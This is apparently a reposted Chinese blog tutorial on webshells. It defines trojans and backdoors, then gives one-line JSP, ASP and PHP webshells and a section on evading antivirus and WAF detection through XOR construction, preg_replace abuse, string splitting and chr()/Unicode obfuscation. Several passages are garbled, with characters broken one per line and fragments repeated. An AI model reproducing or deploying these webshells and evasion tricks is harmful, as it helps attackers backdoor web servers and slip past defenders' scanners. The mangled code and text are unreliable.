網(wǎng)站首頁 編程語言 正文
一、Webshell
1.Webshell基本介紹
webshell,顧名思義:web指的是在web服務(wù)器上,而shell是用腳本語言編寫的腳本程序,webshell就是就是web的一個管理工具,可以對web服務(wù)器進(jìn)行操作的權(quán)限,也叫webadmin。webshell一般是被網(wǎng)站管理員用于網(wǎng)站管理、服務(wù)器管理等等一些用途,但是由于webshell的功能比較強大,可以上傳下載文件,查看數(shù)據(jù)庫,甚至可以調(diào)用一些服務(wù)器上系統(tǒng)的相關(guān)命令(比如創(chuàng)建用戶,修改刪除文件之類的),通常被黑客利用,黑客通過一些上傳方式,將自己編寫的webshell上傳到web服務(wù)器的頁面的目錄下,然后通過頁面訪問的形式進(jìn)行入侵,或者通過插入一句話連接本地的一些相關(guān)工具直接對服務(wù)器進(jìn)行入侵操作。
1.1 什么是木馬
“木馬”全稱是“特洛伊木馬(Trojan< BR >Horse)”,原指古希臘士兵藏在木馬內(nèi)進(jìn)入敵方城市從而占領(lǐng)敵方城市的故事。在Internet上,“特洛伊木馬”指一些程序設(shè)計人員在其可從網(wǎng)絡(luò)上下載 (Download)的應(yīng)用程序或游戲中,包含了可以控制用戶的計算機(jī)系統(tǒng)的程序,可能造成用戶的系統(tǒng)被破壞甚至癱瘓。
1.2 什么是后門
大家都知道,一臺計算機(jī)上有65535個端口,那么如果把計算機(jī)看作是一間屋子,那么這65535個端口就可以它看做是計算機(jī)為了與外界連接所開的65535 扇門。每個門的背后都是一個服務(wù)。有的門是主人特地打開迎接客人的(提供服務(wù)),有的門是主人為了出去訪問客人而開設(shè)的(訪問遠(yuǎn)程服務(wù))——理論上,剩下的其他門都該是關(guān)閉著的,但偏偏由于各種原因,很多門都是開啟的。于是就有好事者進(jìn)入,主人的隱私被刺探,生活被打擾,甚至屋里的東西也被搞得一片狼跡。這扇悄然被開啟的門——就是“后門”。
1.3 什么是webshell
簡單來說,webshell就是一個web的木馬后門,黑客在入侵了一個網(wǎng)站后,常常在將這些web木馬后門文件放置在網(wǎng)站服務(wù)器的web目錄中,與正常的網(wǎng)頁文件混在一起。然后黑客就可以用web的方式,通過asp或php木馬后門控制網(wǎng)站服務(wù)器,包括上傳下載文件、查看數(shù)據(jù)庫、執(zhí)行任意程序命令等。
2. Webshell分類
Webshell根據(jù)不同的文件大小、功能、開發(fā)的語言版本等不同,可以進(jìn)行不同的分類,常見的webshell分類方式有以下兩種方式。
2.1 不同的開發(fā)語言
webshell根據(jù)腳本可以分為PHP腳本木馬,ASP腳本木馬,也有基于.NET的腳本木馬和JSP腳本木馬。在國外,還有用python腳本語言寫的動態(tài)網(wǎng)頁,當(dāng)然也有與之相關(guān)的webshell。
不同腳本類型的簡單木馬 | |
---|---|
JSP | <%Runtime.getRuntime().exec(request.getParameter(“i”));%> |
ASP | <%eval request(“cmd”)%> |
PHP |
2.2 代碼量(shell功能)大小
根據(jù)功能也分為大馬與小馬,小馬通常指的一句話木馬,例如:<%eval request(“pass”)%>通常把這句話寫入一個文檔里面,然后文件名改成xx.asp。然后傳到服務(wù)器上面。這里eval方法將request(“pass”)轉(zhuǎn)換成代碼執(zhí)行,request函數(shù)的作用是應(yīng)用外部文件。這相當(dāng)于一句話木馬的客戶端配置。
大馬與小馬區(qū)別:
一句話木馬(小馬) 大馬
功能 功能簡單,需要配合客戶端使用 功能完善,直接使用瀏覽器即可利用
大小 代碼量通常在一行左右,不超過10行 代碼量通常較大
隱蔽性 隱蔽性強 隱蔽性相對較弱
容易通過變形隱藏特征 通過加密等方式來隱藏特征
容易繞過過濾 相對不易繞過過濾
二、一句話木馬
1. 什么是一句話木馬?
一句話木馬的原理即可以執(zhí)行傳遞上來變量的內(nèi)容,變量名稱即“一句話密碼”,變量內(nèi)容即后門執(zhí)行代碼,內(nèi)容可以是list文件、上傳及下載文件、數(shù)據(jù)庫操作等等。這類后門通常只一行代碼,因此可以隨意插入web站點的正常文件而并不影響原本代碼的執(zhí)行,甚至與正常圖片的結(jié)合可以形成“圖片馬”。體積小,隱蔽性強是一句話木馬最大的優(yōu)勢。靈活的變量內(nèi)容同時成就了很多經(jīng)典的一句話操作客戶端,如菜刀。
三、木馬特征
當(dāng)前常見的木馬文件、木馬程序主要特征有隱蔽性、自啟動、欺騙性、自動恢復(fù)、端口自啟這五種特征。接下來,簡單對這五種特征進(jìn)行介紹。
1.隱蔽性
隱蔽性是指木馬必須隱藏在目標(biāo)計算機(jī)中,以免被用戶發(fā)現(xiàn)。這是因為木馬設(shè)計者不會輕易就讓用戶發(fā)現(xiàn)木馬程序。木馬的隱蔽性主要體現(xiàn)在兩個方面:第一是不會在目標(biāo)計算機(jī)產(chǎn)生快捷圖標(biāo),第二是木馬程序會自動在任務(wù)管理器中隱藏,并以系統(tǒng)服務(wù)的形式存在,以欺騙操作系統(tǒng)。
2.自啟動
木馬的自動運行性是指木馬會隨著計算機(jī)系統(tǒng)的啟動而自動運行,所以木馬必須潛入計算機(jī)的啟動配置文件中,如啟動組或系統(tǒng)進(jìn)程。直到目標(biāo)計算機(jī)關(guān)閉時,木馬才會停止運行。
3.欺騙性
木馬之所以具有欺騙性是為了防止一眼就被計算機(jī)用戶認(rèn)出。為此,被木馬感染的文件一般都用常用的文件名或擴(kuò)展名,或者仿制一些不易被人區(qū)分的文件名,甚至干脆借用系統(tǒng)文件中已有的文件名,只不過他們被保存在不同的路徑之中。
4.自動恢復(fù)
木馬的自動恢復(fù)是指當(dāng)木馬的某一些功能模塊丟失時,他能夠自動回復(fù)為丟失之前的狀態(tài)。現(xiàn)在很多木馬的功能已不再是有單一的文件所組成,而是有多重備份,可以相互恢復(fù)的文件。
5.自啟端口
木馬潛入目標(biāo)計算機(jī)的目的不是為了破壞文件,即使為了獲取目標(biāo)計算機(jī)中的有用信息,因此就需要保證能與目標(biāo)計算機(jī)進(jìn)行通信。木馬會采用服務(wù)器/客戶端的通信手段把獲取到的有用信息傳遞給黑客,以便黑客能控制該計算機(jī)或?qū)崿F(xiàn)更進(jìn)一步的企圖。
四、木馬編寫&免殺處理
1. 木馬編寫
編寫一句話木馬,根據(jù)不同的開發(fā)語言可以分為不同類型的一句話木馬,其主要分為兩個部分:①用戶可控參數(shù)②系統(tǒng)命令執(zhí)行函數(shù);以php的一句話木馬后門中最普通的一種為例:,其中v作為參數(shù)用于傳遞攻擊者提交的內(nèi)容; P O S T [ ′ ′ ] 用 于 接 收 前 端 攻 擊 者 輸 入 的 內(nèi) 容 , 這 部 分 作 為 用 戶 可 控 輸 入 內(nèi) 容 , e v a l ( ) 函 數(shù) 是 P H P 語 言 中 的 命 令 執(zhí) 行 函 數(shù) , 會 將 任 何 字 符 串 當(dāng) 做 命 令 進(jìn) 行 執(zhí) 行 ; 當(dāng) _POST['']用于接收前端攻擊者輸入的內(nèi)容,這部分作為用戶可控輸入內(nèi)容,eval()函數(shù)是PHP語言中的命令執(zhí)行函數(shù),會將任何字符串當(dāng)做命令進(jìn)行執(zhí)行;當(dāng) P?OST[′′]用于接收前端攻擊者輸入的內(nèi)容,這部分作為用戶可控輸入內(nèi)容,eval()函數(shù)是PHP語言中的命令執(zhí)行函數(shù),會將任何字符串當(dāng)做命令進(jìn)行執(zhí)行;當(dāng)_POST[‘v’]接收傳值后,利用eval()函數(shù)對傳入的參數(shù)進(jìn)行執(zhí)行。
2. 木馬免殺處理
免殺就是需要特定的關(guān)鍵字,我們使用一些特殊的構(gòu)造方法,或者拆分或者替換等方式,不斷地嘗試躲避服務(wù)器端的過濾
2.1 構(gòu)造法繞過檢測(PHP)
一般的檢測程序會過濾這樣”_POST”,”system”,”call_user_func_array”這樣的字符,這個時候可以用構(gòu)造法繞過一些檢測程序,基本原理是,php每一個字符都都對應(yīng)了一個二進(jìn)制的值,可以采用異或的方式,讓馬中的一個字符用兩個字符異或后的值來代替,在我們的程序過濾數(shù)字 字母等的時候也可以派上用場,我的核心思路是,將非字母、數(shù)字的字符經(jīng)過各種變換,最后能構(gòu)造出a-z中任意一個字符。比如在PHP中,兩個字符串執(zhí)行異或操作以后,得到的還是一個字符串。所以,我們想得到a-z中某個字母,就找到某兩個非字母、數(shù)字的字符,他們的異或結(jié)果是這個字母即可,我們也可以使用~來取反。
然后構(gòu)造與一句話可以寫為
// 結(jié)果為@
P
O
S
T
[
0
]
(
_POST[0](
P?OST[0](POST[1])
!
表
示
1
的
相
反
,
在
語
言
里
面
1
代
表
真
,
反
過
來
就
是
0
(
假
)
,
但
是
這
樣
的
繞
過
方
法
相
當(dāng)
弱
,
仔
細(xì)
想
一
下
,
就
算
是
兩
個
字
符
的
二
進(jìn)
制
值
異
或
,
但
是
我
們
要
用
某
個
字
符
,
還
是
應(yīng)
用
那
個
字
符
的
值
,
例
如
:
_表示1的相反,在語言里面1代表真,反過來就是0(假),但是這樣的繞過方法相當(dāng)弱,仔細(xì)想一下,就算是兩個字符的二進(jìn)制值異或,但是我們要用某個字符,還是應(yīng)用那個字符的值,例如:
表?示1的相反,在語言里面1代表真,反過來就是0(假),但是這樣的繞過方法相當(dāng)弱,仔細(xì)想一下,就算是兩個字符的二進(jìn)制值異或,但是我們要用某個字符,還是應(yīng)用那個字符的值,例如:__=(“#”“|”).(“.”“~”).(“/”“`”).(“|”“/”).(“{”^“/”)的二進(jìn)制值與_POST字符的值一樣的,要是檢測程序會檢測二進(jìn)制碼的值,還是會被殺掉。
2.2 正則表達(dá)式代替法(PHP)
php中有一個函數(shù)preg_replace()函數(shù),這個函數(shù)可以實現(xiàn)正則表達(dá)式的替換工作。用替換繞過檢測系統(tǒng)還需要php腳本語言里面的一個函數(shù)特性,函數(shù)在調(diào)用的時候,如果函數(shù)里面的形參賦的值里面含有命令,就會執(zhí)行這個命令。
(.+?)<\/title>/ies",'funfunc("\1")', $_POST["cmd"]);
?>
上述代碼就是替代的一個過程,首先創(chuàng)建一個空函數(shù),然后使用preg_replace函數(shù)替換表單cmd中的
2.3 回避法(ASP)
因為有的asp服務(wù)器為了防止一句話馬,會過濾<%,%>,可以使用:
execute request("cmd")
功能相同,就是換個形式,回避特定腳本語言:aspx一句話
2.4 拆分法(ASP)
將<%eval request(“x”)%>拆分為<%Y=request(“x”)%><%eval(Y)%>
拆分法加強版:
<%IfRequest("MH")<>"" Then Execute(Request("MH"))%>
<%if request("MH")<>""thensession("MH")=request("MH"):end if:ifsession("MH")<>"" then executesession("MH")%>
以上兩句使用了if一句將其分開,中心思想將敏感字符拆分,因為一般asp特征碼為eval(request或者execute(request,拆分了之后檢測不到特征碼,就直接繞過了。
2.5 亂碼變形(ANSI->Unicode加密)
<%eval request("#")%>變形為“┼攠數(shù)畣整爠煥敵瑳∨∣┩愾”
eval(eval(chr(114)+chr(101)+chr(113)+chr(117)+chr(101)+chr(115)+chr(116))("brute"))%>
上面一行代碼是采用了ascii加密的方法,chr(114)代表的是ascii中的編號為114個那個字符,即r。上述代碼轉(zhuǎn)換后的代碼為
<%eval (eval(request("brute"))%>
原文鏈接:https://blog.csdn.net/weixin_53002381/article/details/124161466
相關(guān)推薦
- 2022-05-17 使用@async 注解,導(dǎo)致訪問RequestContextHolder獲取request為空
- 2023-08-01 el-table 拖拽列寬出現(xiàn)空白列問題
- 2023-01-03 Nginx?Gunicorn?flask項目部署思路分析詳解_nginx
- 2022-12-06 Pytorch實現(xiàn)List?Tensor轉(zhuǎn)Tensor,reshape拼接等操作_python
- 2024-01-15 Stream流 - 獲取Stream和轉(zhuǎn)換操作(含基本數(shù)據(jù)類型流)
- 2022-10-05 Android源碼探究之BaseDexClassLoader的使用_Android
- 2022-07-12 C++重載運算符時函數(shù)類型的選擇與類的類型轉(zhuǎn)換
- 2022-05-27 C語言實現(xiàn)數(shù)獨小游戲_C 語言
- 最近更新
-
- window11 系統(tǒng)安裝 yarn
- 超詳細(xì)win安裝深度學(xué)習(xí)環(huán)境2025年最新版(
- Linux 中運行的top命令 怎么退出?
- MySQL 中decimal 的用法? 存儲小
- get 、set 、toString 方法的使
- @Resource和 @Autowired注解
- Java基礎(chǔ)操作-- 運算符,流程控制 Flo
- 1. Int 和Integer 的區(qū)別,Jav
- spring @retryable不生效的一種
- Spring Security之認(rèn)證信息的處理
- Spring Security之認(rèn)證過濾器
- Spring Security概述快速入門
- Spring Security之配置體系
- 【SpringBoot】SpringCache
- Spring Security之基于方法配置權(quán)
- redisson分布式鎖中waittime的設(shè)
- maven:解決release錯誤:Artif
- restTemplate使用總結(jié)
- Spring Security之安全異常處理
- MybatisPlus優(yōu)雅實現(xiàn)加密?
- Spring ioc容器與Bean的生命周期。
- 【探索SpringCloud】服務(wù)發(fā)現(xiàn)-Nac
- Spring Security之基于HttpR
- Redis 底層數(shù)據(jù)結(jié)構(gòu)-簡單動態(tài)字符串(SD
- arthas操作spring被代理目標(biāo)對象命令
- Spring中的單例模式應(yīng)用詳解
- 聊聊消息隊列,發(fā)送消息的4種方式
- bootspring第三方資源配置管理
- GIT同步修改后的遠(yuǎn)程分支